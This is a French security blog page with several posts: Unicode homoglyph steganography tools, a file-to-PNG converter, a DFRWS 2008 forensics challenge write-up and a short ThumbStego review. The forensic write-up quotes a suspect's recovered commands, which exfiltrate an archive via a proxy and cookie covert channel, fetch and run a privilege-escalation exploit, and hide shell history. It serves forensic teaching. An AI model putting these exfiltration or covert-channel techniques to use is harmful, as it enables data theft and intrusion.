Skip navigation.

devloop :: blog

Blog sur la sécurité informatique, la programmation, Linux et le Web

Posts tagged with "stéganographie"

Stéganographie et Unicode (UTF-8)

, , , ...

Mise en bouche

Jetez un oeil à ce texte, extrait d'une page Wikipedia :

The frequency of letters in text has often been studied for use in cryptography, and frequency analysis in particular. No exact letter frequency distribution underlies a given language, since all writers write slightly differently. Linotype machines sorted the letters' frequencies as etaoin shrdlu cmfwyp vbgkqj xz based on the experience and custom of manual compositors.

Et maintenant jetez un autre oeil au texte suivant :

Thе frequеncy of lettеrѕ in tеxt Һas oftеn beеn studіed for uѕe in сryptogrарhу, and freqυеncy analуѕis in pаrticular. Νо eхасt lettеr frequеncy dіstribution underlies a given language, since all writers write slightly differently. Linotype machines sorted the letters' frequencies as etaoin shrdlu cmfwyp vbgkqj xz based on the experience and custom of manual compositors.

Vous semblent-ils différents ? Peut-être avez vous remarqué une particularité dans l'un des texte... car l'un d'entre eux contient un message secret :sherlock:
Jeter un coup d'oeil au code HTML de cette page vous donnera certainement un indice, pourtant j'aurais très bien pu vous montrer deux textes bruts (plain text) et vous n'aurez pas forcément remarqué plus de particularités.

L'unicode : qu'est-ce que c'est et pourquoi on nous emmerde avec

L'unicode est une norme de codage des caractères destinée à être utilisée massivement pour rassembler et remplacer les normes existantes de différents pays.
On pourrait représenter l'unicode comme une énorme table de corresponde entre les caractères et leurs valeurs informatique comme on peut en trouver pour l'ASCII.
Pendant longtemps, chacun y allait de sa norme de codage des caractères : ASCII et ISO 8859-1 pour les occidentaux, le Big5 pour les chinois, le KOI8-U pour les russes, le Shift-JIS ou encore le ISO 2022 pour les japonais.
On peut imaginer que cette diversité de normes n'arrange pas les développeurs qui souhaitent rendre leurs logiciels accessibles au plus de personnes possibles, quelque soit leur langue.

Unicode se "décline" en plusieurs formats : UTF-8, UTF-16 et UTF-32.
Il y a aussi l'UTF-7 utilisé par des protocoles d'envoi de courrier et on parle de UTF-5 ou d'UTF-6, chacun ayant pour spécificité d'être compatible avec "alphabet" prédéfini comme ceux (limités) utilisés pour composer une adresse email ou un nom de domaine.
Le nombre situé derrière les caractères UTF correspond au nombre de bits minimum nécessaire pour l'encodage d'un caractère.

Le format dont cet article parlera sera l'UTF-8 qui est principalement utilisé par nous autre européens ou américains.
Ce format là a en effet le grand avantage d'être rétro-compatible avec l'ASCII, c'est à dire que la plupart des caractères que l'on utilise sont encodés sur un octet, exactement comme ils l'étaient auparavant :up:
Ce "miracle" tient sur le fait que l'UTF-8 utilise les premiers bits de chaque octet pour déterminer s'il a affaire à nos bons vieux caractères où s'il doit chercher dans des tables plus exotiques.
Ainsi notre petit "a" sera codé 0x61 en hexa comme c'était le cas en ASCII mais le "à" avec accent tiendra sur deux caractères et se codera 0xC3A0.
La page Wikipedia sur l'UTF-8 montre quels bits sont utilisés sur chaque octet.

L'UTF-8 est donc, comme d'autres formats d'unicode, extensible. Comme dit sur cette page, on pourrait qualifier le format UTF-8 de raciste : quand nos caractères sont encodés sur un ou deux octets, les thaïlandais ou les koréens ont droit à 3 octets par caractère ! nervous
Pas de quoi les motiver à utiliser UTF-8, heureusement l'UTF-16 et l'UTF-32 mettent tout le monde à un niveau d'égalité (toutefois l'UTF-32 prend comme son nom l'indique 4 octets par caractère :frown: )

UTF-8 : représentation, encodage et décodage en Python...

Quand on veut nommer un caractère en unicode, on utilise généralement la forme "U+XXXX""XXXX" est un nombre hexadécimal dont la taille peut varier.
Pour "fouiller" dans l'unicode, il y a trois sites quasi-indispensables :
decodeunicode.org : une mine d'or à l'interface soignée.
FileFormat.Info : très pratique, le sites offrent aussi des ressources en dehors d'unicode
Unicode.org : le site officiel avec les tables de caratères au format PDF.
Unimap (unipad.org) : assez simple mais efficace.

Si vous programmez, vous vous êtes peut-être déjà arraché les cheveux devant des problèmes de mauvais encodages. Mon expérience m'a montré que le mieux est encore d'aller à la source et de corriger directement le mauvais caractère (par exemple dans une page html) au lieu de tenter de le convertir/corriger.
Je vous donne tout de même quelques commandes pratiques en Python pour jouer avec les caractères unicode :smile:

Définissons un caractère s dont la valeur est "é" et observons son type :
>>> s='é'
>>> type(s), repr(s)
(<type 'str'>, "'\\xc3\\xa9'")

s est un caractère "brut" : c'est un type 'str' et non unicode. On voit toutefois qu'il est codé sur deux octets, il est donc bien au format UTF-8 mais n'offre pas les avantages de la classe unicode.
Transformons ce caratère au type unicode :
>>> u=unicode(s,"UTF-8")
>>> type(u), repr(u)
(<type 'unicode'>, "u'\\xe9'")

Le caractère unicode auquel on a à faire est donc le U+00E9.
Renseignons nous sur ce caractère :
>>> import unicodedata
>>> unicodedata.name(u)
'LATIN SMALL LETTER E WITH ACUTE'
>>> unicodedata.lookup('LATIN SMALL LETTER E WITH ACUTE')
u'\xe9'

Le type python unicode ne permet pas de tout faire, on pourrait le qualifier de "virtuel". On est obligé de le mettre en "dur" (l'encoder) pour effectuer certaines opérations comme écrire dans un fichier.
>>> u.encode("UTF-8")
'\xc3\xa9'

D'autres commandes pratiques :
>>> ord(u)
233
>>> unichr(233)
u'\xe9'
>>> u.encode('ascii', 'xmlcharrefreplace')
'é'

UTF-8 et stéganographie

L'idée d'utiliser l'unicode pour dissimuler des données m'est venue en me demandant s'il y avait pas plusieurs façons d'encoder le même caractère :idea: Après tout, chaque format (ASCII, UTF-8, UTF-16...) offre différents encodages pour un même caractère alors pourquoi pas le même caractère dans un même format ? Avec deux encodages possibles on peut donc glisser un bit (valeur 0 pour un encodage, valeur 1 pour le second).
Mes recherches sur Internet m'ont montré que non seulement je n'étais pas le seul à y avoir pensé mais en plus certains l'avaient déjà implémenté. Je n'invente donc rien mais je vous fournis les techniques utilisées.

La première technique est proposée par MockingEye et son implémentation unisteg.py.
Elle se base sur les diacritiques. Typiquement ce sont les accents et cédilles qui peuvent être attachés à un caractère.

Si vous vous rendez sur le bloc des diacritiques sur decodeunicode.org, vous verrez tout de suite de quoi je veux parler :smile:
Unicode permet donc d'encoder de deux façons différentes nos lettres à accent. Soit sous leur forme fixe (le "é") soit sous une forme combinée (la lettre "e" combinée avec le diacritique de l'accent aigue).
Le passage de la forme composée à la forme décomposée (et vice-versa) peut se faire par la fonction normalize de la librairie unicodedata en python :
>>> unicodedata.normalize("NFD",u)
u'e\u0301'
>>> unicodedata.normalize("NFC",u'e\u0301')
u'\xe9'
>>> unicodedata.normalize("NFD",u).encode("UTF-8")
'e\xcc\x81'

On remarque que le diacritique ne précéde pas le caractère mais le suit. Pour faire simple :
e combining diacritical

La seconde méthode est proposée par Antonio Alcorn. Elle est implémentée en PHP mais le code source n'est pas disponible. Toutefois en analysant le résultat on se rend compte que la technique se base sur l'utilisation de caractères différents mais visuellement très proche.
Par exemple, notre "e" est très proche du petit IE cyrillique.
Les caractères cyrilliques sont plus bruts que nos caractères et sont généralement représentés sans serif (voir empattement). En fonction de la police utilisée pour afficher les caractères, on ne verra donc pas la différence. On se servira pour ce faire d'une police sans-serif comme Arial.
Dans le second texte au début de cet article, vous avez peut-être remarqué que le "h" de "has" était plus large. C'est tout simplement parce qu'il s'agit du caractère cyrillique SHHA (U+04BA).

Ayant créé moi même mes outils de stéganographie UTF-8 (voir çi-dessous), la recherche des caractères similaires m'a pris un bon moment. J'ai rassemblé ça dans ce fichier.
Les caractères où la différence n'est pas visible (avec la bonne police) sont placés directement. Ceux où l'on peut se laisser prendre sont entre parenthèses avec le signe + accolé. Ceux entre parenthèses ressemblent d'assez loin.

utf8hide et utf8reveal

utf8hide.py permet comme son nom l'indique de cacher des données dans un texte.
Il demande deux arguments : le fichier dont il faut cacher le contenu et un fichier texte au format ISO-8859-1 au ASCII. Un troisème argument ("html") peut être passé si on souhaite ensuite injecter le résultat dans une page web.
J'ai repris l'idée de l'implémentation PHP qui propose d'utiliser seulement 5 bits pour coder un caractère à cacher en la poussant plus loin et sans les limitations.
Le programme fait une analyse du fichier à dissimuler et détermine le plus petit nombre de bits nécessaire pour coder un octet. Si le message secret est court, il défini un charset (alphabet) lui permettant ainsi de "comprimer" un octet sur seulement quelques bits (3, 4, 5, 6). Au-delà, le charset serait trop gros et le programme préfère utiliser les codes habituels des caractères.

Le résultat obtenu est placé dans le fichier out.txt. L'affichage donne le nombre de bits pour un octet (nbit), le charset utilisé et la taille du fichier secret. Il faut conserver ces paramêtres pour l'opération inverse.

Un peu à l'instar de ThumbStego qui nécessitait une image et sa signature, utf8reveal.py a besoin du texte ascii/iso8859 qui a servi à dissimuler le fichier et la version UTF-8 dans laquelle sont cachées les données.
On lui passe aussi en argument les variables vues plus tôt et le programme recréé le fichier secret dans "secret.xxx".

Les deux programmes affichent les bits à l'écran (0 ou 1) ce qui peut-être ennuyeux pour les gros fichiers... mais une telle utilisation est à éviter.
En effet, le programme a beau compresser comme il peut les données en entrées et utiliser la méthode des diacritiques ainsi que celle des ressemblances entre caractères, tous les caractères ne sont malheureusement pas exploitables. Le programme passe alors aux caractères suivant jusqu'à tomber sur un caractère exploitable. Le ratio est donc bien plus faible que 1/8ème mais c'est suffisant pour y passer quelques mots :smile:

Arghhh

J'ai eu la peur de ma vie (c'est quelque peu exagéré) en développant le code. En voulant recopier mes scripts vers un répertoire de sauvegarde, j'ai bêtement tapé "rm -r" au lieu de "cp", supprimant ainsi les codes et le répertoire de sauvegarde :cry:
A défaut de faire n'importe quoi, je me suis félicité d'avoir quelques connaissances en inforensique, ce qui m'a permis d'extraire le code de la partition :D Pourtant comme le code fait plus de 4096 octets, il était sur deux blocs mémoire et sur du ext3... merci à grep, dd et hexdump :rolleyes:

PNG Noise : convertir un fichier en une image

, , ,

Voici deux petits programmes que j'ai fait en me servant de la librairie d'écriture/lecture d'images PNG PNGwriter.
Cette librairie est très simple et permet de générer des images très basiques particulièrement adaptés aux graphes et autres représentations mathématiques (voir les exemples sur le site). Des fonctions très pratiques sont disponibles comme placer un simple pixel, un trait, une forme géométrique, du texte...

Mon objectif premier en utilisant cette librairie était de faire un programme capable de prendre des données brutes dun fichier quelconque et d'en faire une image PNG valide (affichable sans erreur dans différents logiciels). Le résultat n'est forcément pas très beau (c'est du "bruit") mais on peut procèder en sens inverse et extraire les données présentes dans l'image pour recréer le fichier original.

L'utilité du programme est questionnable. Une des applications pourrait être de passer certains filtres sur les formats de fichiers comme ceux présents sur les service de stockage d'image en ligne. On pourrait alors y stocker tout type de données.
Du point de vue stéganographique le programme offre un excellent ratio mais un oeil humain se douterait que l'image renferme un secret ;-)
Enfin l'idée m'est entrée dans la tête donc il fallait que je le fasse :D Je vous laisse à votre imagination pour d'autres applications

Le principe est le suivant :
  • PNG est un format d'image matricielle, c'est à dire que les images sont définies par un ensemble de pixel
  • Chaque pixel de l'image est définit par une couleur codée sur 3 valeurs : R, V, B (rouge, vert et bleu)
  • Chacune de ces couleurs primaires est codée de 0 à 65535, correspondant à autant de nuances différentes

Une nuance de couleur (0 à 65535) tient sur 2 octets. On a donc 6 octets (car 3 couleurs primaires) par pixel. Il suffit alors de lire le fichier à "transformer" par morceaux de 6 bits et de les intégrer comme pixel dans une image.
Le programme s'arrange pour que les dimensions de l'image finale soient le plus proche possible du carré. Les derniers pixels sont donc des pixels de bourrage.

Le tout premier pixel de l'image sert à stocker la taille du fichier d'origine pour déterminer le nombre d'octets effectifs lors de l'opération inverse.

En utilisant le programme transform sur ce fichier pdf vous expliquant comment implémenter la suite de Fibonacci en kernel-land (hmmm), on obtient l'image suivante :

Le programme extract sera capable de retrouver le fichier original à partir de cette image.

C'est aussi intéressant car ça permet de voir tout de suite les répétitions présentes dans un fichier : les zones unies de l'image représentent les zones du fichier qui gagneraient à être compressées :smile:
Ainsi si on regénère une image à partir du fichier PDF une fois compressé avec bzip2 on obtient :

Vous trouverez les sources dans l'archive png_noise.zip
La librairie PNGwriter n'est pas incluse. Les commandes pour la compilation sont indiquées dans la source.

Ma solution du challenge DFRWS 2008

, , , ...

Introduction

Le Digital Forensic Research Workshop (DFRWS) est une organisation qui cherche à faire évoluer les recherches en inforensique, cela notamment par l'organisation d'un concours organisé chaque année depuis 2001.

Le challenge de cette année 2008 est ouvert depuis début mai mais comme j'en ai eu vent que récemment, j'ai commencé mon analyse seulement 3 jours avant la fermeture du challenge. Ce qui n'est pas bien grave puisque le challenge s'adresse principalement aux citoyens des Etats-Unis et je ne pensais pas le faire "officiellement".

Je comptais poster mon analyse en fin d'après-midi mais force et de constater que je n'ai pas eu le temps et que les derniers "détails" que je voulait régler étaient plus prenant que je ne le pensais p:

L'objectif des organisateurs pour cette année 2008 est de faire avancer les méthodes d'analyse de la mémoire RAM des systèmes GNU/Linux. C'est pour cette raison que les données offertes pour l'analyse sont une image de la mémoire d'un système mais aussi un enregistrement de communications réseau (fichier pcap) et une copie des fichiers présents dans le répertoire personnel du suspect.
A noter que pour le répertoire personnel il s'agit vraiment d'une "copie de fichiers" et non de l'image d'une partition :frown:

Je tiens à signaler que dans ma version de la solution vous ne trouverez pas de tools ou de techniques de-la-mort-qui-tue sur comment extraire la liste des processus depuis une image RAM ou obtenir la liste des fichiers qui étaient ouvert depuis cette même image.
Après quelques recherches, le sujet m'a paru trop complexe et j'ai privilégié une analyse plus "classique". Toutefois si le sujet vous intéresse vous pouvez vous plonger dans une thèse de 2006 réalisée par des étudiants de la "Naval Postgraduate School" de Monterey (Californie) et baptisée An analysis of Linux RAM forensics ou le document Digital forensics of the physical memory de Maruisz Burdach et daté de 2005.

Le scénario

Votre entreprise est la cible de vol d'information. Une enquête a été faite avec surveillance réseau en parallèle qui a permis de souligner le comportement suspect d'un employé.
L'équipe sécurité de la boite a récupéré différentes données que vous devez analyser pour déterminer qu'elles ont été les activités récentes de cet utilisateur.

Votre entreprise souhaiterait avoir des réponses aux interrogations suivantes :
  • Quelle activité de l'utilisateur peut être mis en évidence d'après les données ?
  • Est-ce qu'une activité suspecte peut-être décelée sur ce système ?
  • Il y a t'il des preuves de collaboration avec une personne extérieure ? Si oui de quelle façon ?
  • Est-ce que des données sensibles ont été volées ? Sinon peut-on en savoir plus sur la nature des données et la façon dont elles ont été transmises ?

Analyse des fichiers de l'utilisateur

L'analyse des fichiers est sans doute la partie la moins intéressante du challenge. Principalement parce qu'il y a peut d'informations intéressantes. On devine facilement au nombres de dossiers présents que l'utilisateur n'utilisait pas le système depuis longtemps et n'a pas fouillé dans les configurations du système.
De plus on suspecte très vite l'utilisateur d'avoir fait un peu de ménage derrière lui. Notamment le dossier .Trash est manquant tout comme l'historique de bash.

D'après les fichiers présents, on est en mesure de dire que l'utilisateur utilisait un window manager basé sur GTK, très certainement GNOME.
La présence du fichier .gnome2/gedit-metadata.xml met en évidence l'utilisation de l'éditeur de texte Gedit. Ce fichier permet de garder en mémoire la position du curseur dans les fichiers qui ont été ouverts jusqu'à présent. Ainsi à la prochaine ouverture du fichier, le curseur est replacé à la ligne mémorisée la dernière fois.
Le contenu de ce fichier prouve l'édition des fichiers .bash_history, .bashrc, .lesshst et enfin d'un fichier "ELF exploit.sh" qui était présent dans un répertoire "temp" qui n'existe plus.
L'autre historique intéressant est celui de Midnight Commander situé à l'emplacement .mc/history.
On y voit le chemin du home de l'utilisateur (/home/stevev) et aussi un point de montage sur /mnt/hgfs/Admin_share.
Le dernier répertoire accédé est /media/disk/DFRWS, à priori une preuve du passage de l'équipe de sécurité lors de la récupération des données.

Un autre fichier nous permet de déterminer que le système utilisé est basé sur RedHat (du moins il utilise le gestionnaire de paquet YUM)

Analyse du cache de Firefox

L'utilisateur n'ayant de toute évidence pas pensé à vider son historique de navigation web, son contenu devient une véritable mine d'or.
Tout d'abord, le fichier cookies.txt nous permet d'avoir facilement une liste des sites qu'il a visité. Une fois que l'on retire les habituels sites d'ADS/trackers/publicité, il nous reste la liste suivante :

corporate.disney.go.com
disney.go.com
docs.google.com
forum.freeadvice.com
live.com
login.live.com
mail.google.com
noblebank.pl
spreadsheets.google.com
www.bankrate.com
www.derkeiler.com
www.google.com
www.msn.com
travelocity.com


La grande majorité des sites visités sont pour le moins classique. Il y a seulement la présence de derkeiler qui laisse suposer que l'employé s'intéresse à la sécurité informatique (ce site rassemble des mailing-lists sur le sujet).

Firefox : les fichiers formhistory.dat et history.dat

Ces deux fichiers sont écrits dans un format pour le moins étrange. Après quelques recherches on apprend que cette structure est du Mork, un format de fichier pour le moins critiqué...

Pour décoder ces deux fichiers j'ai testé différents logiciels gratuits et open-source comme demork.py qui transforme les données en une version XML, mork.pl qui présente les résultats très simplement sous la forme d'une liste et fhdump.pl qui, si mes souvenirs sont bons, ne m'a rien renvoyé.
Mais je crois que mon préféré a été celui de Foundstone baptisé DumpAutoComplete et qui fonctionne sous Windows (exe) comme sous Linux (version Python) et donne un output XML plutôt sympathique.

Le fichier formhistory.dat stocke le texte que l'utilisateur a saisie dans des formulaires. On n'y retrouve toutefois pas de mot de passe, l'utilisateur n'ayant probablement pas activé cette fonctionnalité.
Une partie intéressante de ce fichier est celle qui conserve les recherches effectuées depuis le navigateur. Ces informations données par l'outil de Foundstone se représentent ainsi :
<field name="searchbar-history">
  <saved>CAN-2005-1263</saved>
  <saved>extradition costa rica</saved>
  <saved>maldives</saved>
  <saved>non-extradition countries</saved>
  <saved>overseas credit card payments</saved>
  <saved>panama extradition</saved>
  <saved>private banking</saved>
  <saved>privilege elevation 2.6.19</saved>
</field>

Il semblerait que notre suspect ait envie de s'éclipser quelques temps dans une contrée où il ne risque rien et, si possible, au soleil voire dans des paradis fiscaux nervous
Il a aussi effectué une recherche sur des failles de sécurité du kernel qui pourrait lui permettre de passer root sur sa machine (ou une autre).

Les autres informations saisies par formulaire nous apprenent que notre suspect se prénomme Steve Vogon, qu'il a deux adresses mails qui sont Steve.Vogon@gmail.com et steve_vogon@hotmail.com et qu'il compte prendre un avion à destination du Costa Rica avec une certaine Catherine Lagrande.
Steve est joignable au 202 555 9900 toujours d'après le fichier formhistory.dat.
Je tiens à préciser que je n'ai pas forcément obtenu ces informations dans le même ordre que l'article mais j'essaye de suivre un ordre logique pour expliquer p:

Le fichier history.dat rassemble, dans l'ordre, les urls que l'utilisateur a visité. Cela nous permet de comprendre mieux le cheminement suivi lors de ses recherches sur Internet et on pourrait ainsi créer une "timeline" de son activité.
Je vous passe les détails de cette navigation, le principal à remarquer est que l'utilisateur est allé voir ses messages sur GMail et Windows Live et qu'il semble faire une utilisation assez soutenue de Google Docs (l'ancien Writely) et de Google Spreadsheet. Des services de travail collaboratif en ligne.

Les mots de passe enregistrés par Firefox

Firefox utilise un système de chiffrement particulier. Les mots de passes sont stockés chiffrés dans le fichier signons2.txt, protégés à l'aide d'un mot de passe maitre présent dans key3.db (chiffré lui aussi à priori).
Les fichiers cert8.db et secmod.db entrent aussi en compte dans ce système.
Un outil en Ruby ainsi que FirePassword permettent d'extraire les informations de ces fichiers... mais il faut connaître le mot de passe maître, aussi je n'ai pas cherché plus loin.

Le cache de Firefox

En l'occurence présents dans .mozilla/firefox/n5q6tfua.default/Cache, ces fichiers n'ont pas d'extensions et ont un nom composé de 11 caractères dans l'alphabet hexadécimal (de 0 à 9 et de A à F).
Le plus simple est encore de profiter de la force de Linux qui détermine le type des fichiers à partir de leur entête. Avec un simple gestionnaire de fichier comme Dolphin, une visionneuse d'images comme Gwenview, un éditeur de texte et un navigateur web, on peut analyser la quasi totalité des fichiers.
Restent les archives gzippées qui requièrent une étape supplémentaire de décompression et les fichiers _CACHE_00X_ générés par le navigateur.
Après avoir cherché sans succès un outil open-source fonctionnant sous Linux pour lire ces fichiers CACHE et m'être cassé la tête pour essayer de faire fonctionner un script python pas au point, je m'en suis remis à PhotoRec qui s'est montré particulièrement efficace pour en extraire des fichiers (les fichiers _CACHE_XXX_ sont un peu comme des archives tar, le fichier _CACHE_MAP_ est la "carte" disant à quel offset se trouve chaque fichier)

Les images extraites permettaient de voir que le suspect est allé sur le site et le blog du Projet Metasploit et différents sites de voyage.

Dans le cache du navigateur on retrouve aussi énormément de code javascript ou CSS qui ont été chargés avec les pages. Concernant les connexions à Google vous avez peut-être déjà remarqué que ce dernier se sert en grande quantité du format d'échange JSON. Le résultat c'est que les données qui nous intéressent ne se trouvent pas dans les pages HTML mises en cache mais dans des fichiers textes à part...

Au final on en extrait la conversation suivante avec une certaine "Faa Tali" :
Re: Negotiate (Google Docs)
I apologize for the delay -- I was required to travel recently.
I agree with your final terms and will contact you via the cell provided to discuss the transfer. I have received your software package and instructions for transfer.

On Dec 9, 2007 3:15 AM, faa tali wrote:
We are close, but please notice the changes I made. Let's move this along. A swift resolution would be appreciated.

Date: Sat, 8 Dec 2007 21:53:26
Subject: Negotiate (Google Docs)
From: Steve.Vogon@gmail.com
To: faatali@hotmail.com

I've shared a document with you called "Negotiate"
http://spreadsheets.google.com/ccc?key=XXXXX&inv=faatali@hotmail.com...
It's not an attachment -- it's stored online at Google Docs. To open this document, just click the link above.
Please answer on the prices and items listed.

On apprend par ce mail que notre suspect négocie le prix de différentes informations et ce par le biais d'un tableur partagé sur Google Spreadsheets. Il est aussi question d'un logiciel et d'instructions pour un transfert.

Plus tard, Steve renverra un message à Faa Tali qui est le suivant :
On Sun Dec 16 2007_10:24 PM
To: faa tali
Subject: Delivery information

Hi, I will be delivering the items as we discussed. I plan to use your 219. location for the items.
Please check for them within the next few hours and then arrange for a reciprocal transfer.
There is one item I will keep in reserve subject to your follow-through. It's noted on the spreadsheet.

On apprend que l'employé par envoyer les éléments sur le "219". La nature des données est listée dans le tableau que Steve a mis en ligne. C'est une information importante qu'il va nous faloir récupérer ;-)

Dans un sujet pas si éloigné que ça, Steve Vogon a aussi effectué une recherche Google sur les termes "private banking" qui l'ont amené sur le site http://www.noblebank.pl/.
D'après les même données formatées en JSON, on sait qu'il a demandé des renseignements auprès de cette banque :
To: investors@noblebank.pl
Subject: Minimum account  opening balance

Hello,
Can you please tell me what the minimum balance requirement is for opening an overseas account at your bank?
Thank you,
Steve K. Vogon

Il pense sans doute faire transiter l'argent de madame "faatalis" par cette banque.

Analyse du flux réseau

Je serais assez bref sur cette partie du challenge. Le fichier pcap fournit ne contient que des communications HTTP et des requêtes/réponses DNS mis à part une poignée de pings (ICMP ECHO). Le traffic HTTP n'est ni plus ni moins celui que l'on retrouve dans le cache du navigateur.
J'ai vite parsé le fichier pcap dans Chaosreader que je ne pense pas abandonner de si tôt p:
C'est vraiment très pratique et j'ai passé énormément de temps à étudier les logs par l'interface qu'il a généré et je me suis souvent référé à son résultat pour vérifier tel ou tel élément :smile:

Un des points que j'ai toutefois relevé avec Chaosreader et pas avec le cache du navigateur est que l'utilisateur du système s'est rendu sur ekiga.net/ip/ et que le site a retourné que l'adresse ip du suspect depuis l'Internet était 24.3.109.26 (en local son ip est 192.168.151.130).

Ce que en revanche je ne m'explique pas, c'est le temps qu'aura passé l'utilisateur sur le site de Disney... peut-être souhaite-t-il se reconvertir en Mickey Mouse ?

L'analyse de la mémoire

Le "dump" de la mémoire physique fait 284Mo. Son analyse a été très intéressante même si j'aurais passé énormément de temps pour rien les yeux collés devant des outputs de hexdump p:
La recherche s'est faite à grands coups de grep avec les options -b (afficher les offsets correspondants), -a (traiter le fichier comme si c'était un fichier texte) et parfois -i (insensible à la casse).

Les termes recherchés ont été déterminés à partir des éléments obtenus précédemment.
Par exemple en sachant que le nom d'user du suspect est "stevev" et le nom d'hôte du système est "goldfinger", une recherche sur "stevev@goldfinger" a permis d'extraire des commandes tappées sous bash :
[stevev@goldfinger ~]$ export http_proxy="http://219.93.175.67:80"
[stevev@goldfinger ~]$ cp /mnt/hgfs/software/xfer.pl .
[stevev@goldfinger ~]$ ./xfer.pl archive.zip
Preparing archive.zip for transmission ......
Sending now. Patience please
Data transmission complete.
Exiting
[stevev@goldfinger ~]$ rm archive.zip
[stevev@goldfinger ~]$ unset http_proxy
[stevev@goldfinger ~]$ rm xfer.pl
[stevev@goldfinger ~]$ rm archive.zip
[stevev@goldfinger ~]$ netstat -tupan

Cette suite de commandes met en évidence l'utilisation d'un script perl qui a permis de transférer une archive zip vers une machine, et ce après avoir défini un proxy dont l'ip commence par... 219 (quel hazard !! ;-) )

Une recherche sur "#!/usr/bin/perl" nous permettra de retrouver les quelques scripts perls présent dans la mémoire du système. Après visualisation par hexdump et avoir affiné les offsets (hexdump -C -s 258019329 -n 3208 challenge.mem) on peut extraite le script avec dd (dd if=challenge.mem skip=258019329 bs=1 count=3208 of=xfer.pl)
Le fichier obtenu est visible ici : xfer.pl sur pastebin.ca. La coloration syntaxique est un peu cassé à la fin à la cause des backquotes mais on arrive à lire la grande majorité :smile:

Le script xfer.pl

Le script en question est pas mal pensé. Il utilise une technique de covert channel (voyez ça comme de la stéganographie réseau) qui fait passer un fichier en petits morceaux à travers la section "Cookie" des requêtes HTTP.
Techniquement le fichier est d'abord encodé en base64 puis coupé en morceaux de 1236 octets. Le script a une liste d'urls prédéfinies et il envoie une simple requête HTTP GET vers les sites en insérant le morceaux de fichier encodé.
On voit dans le code que le script a recours à la commande wget pour envoyer les données. Seulement le problème avec wget c'est qu'il est trop bien conçu. Ainsi s'il tombe sur une redirection il va renvoyer la requête jusqu'à ce qu'il parvienne à la bonne url.
Pour éviter les doublons, le script rajoute un indicateur dans les requêtes HTTP permettant au récepteur de déterminer si le morceau qu'il recoit est bien la suite et non une copie du précédent.

Pour extraire l'archive zip de ce flux caché, j'ai d'abord recréé un fichier pcap en créant un filtre sur les paquets à destination de 219.93.175.67:80 (le récepteur qui tient en plus le rôle de proxy).
J'ai ensuite utilisé tcpflow pour extraire les requêtes HTTP brutes avec la commande suivante :
tcpflow -r agadou.pcap  -c > reqs.txt

J'ai retiré les doublons dans le fichier texte obtenu puis écrit un code assez maladroit (d'où l'étape préliminaire) pour recréer l'archive zip :
#!/usr/bin/env python
import base64

f=open("reqs.txt")
zip=""
while True:
  line=f.readline()
  if line=="": break
  if line.startswith("Cookie: "):
    if line.find("CVal=")>=0:
      zip+=line.split("CVal=")[1].strip()
    if line.find("Sessid=")>=0:
      zip+=line.split(&"Sessid=")[1].strip()
    if line.find("RMID=")>=0:
      zip+=line.split("RMID=")[1].strip()
zip=zip.replace("\n","")
print zip
zip=base64.b64decode(zip)
fo=open("archive.zip","w")
fo.write(zip)
fo.close()
f.close()


Archive.zip

Si on regarde à l'intérieur, on voit que l'archive contient les fichiers suivants :
Archive:  archive.zip
  Length     Date   Time    Name
 --------    ----   ----    ----
   141824  12-08-07 14:19   mnt/hgfs/Admin_share/acct_prem.xls
   100864  12-08-07 14:09   mnt/hgfs/Admin_share/domain.xls
     2395  08-05-00 16:54   mnt/hgfs/Admin_share/ftp.pcap
 --------                   -------
   245083                   3 files

Seulement.. l'archive est protégée par mot de passe. Ma première idée a été de continuer à fouiller dans la mémoire pour essayer de trouver le mot de passe.
L'utilisateur a créé l'archive en ligne de commande :
zip archive.zip /mnt/hgfs/Admin_share/acct_prem.xls /mnt/hgfs/Admin_share/domain.xls /mnt/hgfs/Admin_share/ftp.pcap

puis il a protégé par mot de passe en utilisant la commande zipcloak
zipcloak archive.zip

J'ai donc fouillé dans la mémoire en cherchant l'image de ces processus mais je n'ai vu aucun mot de passe autour des commandes zip ou zipcloak :frown:

Comme on n'est jamais mieux servi que par soit même (en tout cas dans mon cas sous Linux), j'ai tenté de casser le mot de passe en utilisant lzcrack, un casseur de pass d'archives zip que j'ai développé il y a un certain temps, mais je n'ai obtenu aucun résultat.

J'ai aussi tenté de trouver les fichiers en clair (avant compression) dans l'image de la mémoire mais aucun document xls ni aucun traffic TCP ni étaient présents.

Got r00t ?

Toujours à coups de grep j'ai pu découvrir une autre suite de commandes lancées par bash :
uname -a
who
ll -h
mkdir temp
ll -h
chmod o-xrw temp/
ll -h
cd temp/
cp /mnt/hgfs/Admin_share/*.xls .
cp /mnt/hgfs/Admin_share/*.pcap .
exit
uname -a
id
exit
X -v
X -V
X -version
cd temp
wget http://metasploit.com/users/hdm/tools/xmodulepath.tgz
tar -zpxvf xmodulepath.tgz
cd xmodulepath
ll
unset HISTORY
./root.sh
exit
pwd
cd ..
cp /mnt/hgfs/Admin_share/intranet.vsd .
ll
ls -lh
exit

On y voit notre pirate (on peut maintenant le dire p: ) créer un répertoire "temp" (qu'il supprimera par la suite) et y recopier différents fichiers.
Il obtient ensuite la version de Xorg sur le système, télécharge un exploit pour une faille de sécurité existante, l'exécute puis en profite pour récupérer un dernier fichier.
Comme on ne dispose pas des résultats des commandes il est difficile de dire si l'utilisateur a effectivement réussi à passer root mais le fait qu'il copie ensuite un fichier qui se trouvait dans le même dossier laisse supposer que des permissions l'avaient empéché de le faire plus tôt...

La suite de l'analyse de la mémoire a permis d'extraire des lignes de logs générées par syslogd, de voir qu'un serveur sendmail tournait, que Steve a un uid de 501, que le système est une distribution CentOS avec un kernel 2.6.18 et qu'on trouve tout un tas de chose en mémoire.
Un peu de carving avec PhotoRec a révélé la présence de beaucoup d'images de la navigation web en mémoire, certaines partielles, d'autres complètes :smile:
J'ai aussi testé Scalpel pour l'occasion, mais je crois que je vais rester sur le précédent :smile:

Les trophés

Toute chose ayant une fin, voici le fameux tableau partagé sur Google. Les CSS n'étant pas intégrés, le rendu donne un peu brut :


L'invitation de partage du tableau à destination de Faa Tali
Steve Vogon... pas si américain que ça ?
A destination du Costa Rica, passage par le Salvador
Il y en a qui s'en font pas... pourtant c'est pas avec ces 57 dollars qu'il va se payer ça

ThumbStego

, , , ...

Je viens de tester ThumbStego (pour "Thumbnail Steganography"), un nouvel outil permettant de dissimuler des données dans des images.
Jusque là, rien de bien nouveau, il existe un tas d'outils qui permettent de cacher de l'information dans des images. Là où ce logiciel se démarque des autres c'est que contrairement à la majorité (et pngstego dont j'avais parlé en fait partie), ThumbStego ne se base pas sur la méthode LSB qui consiste à utiliser le bit de poids faible de chaque octet.

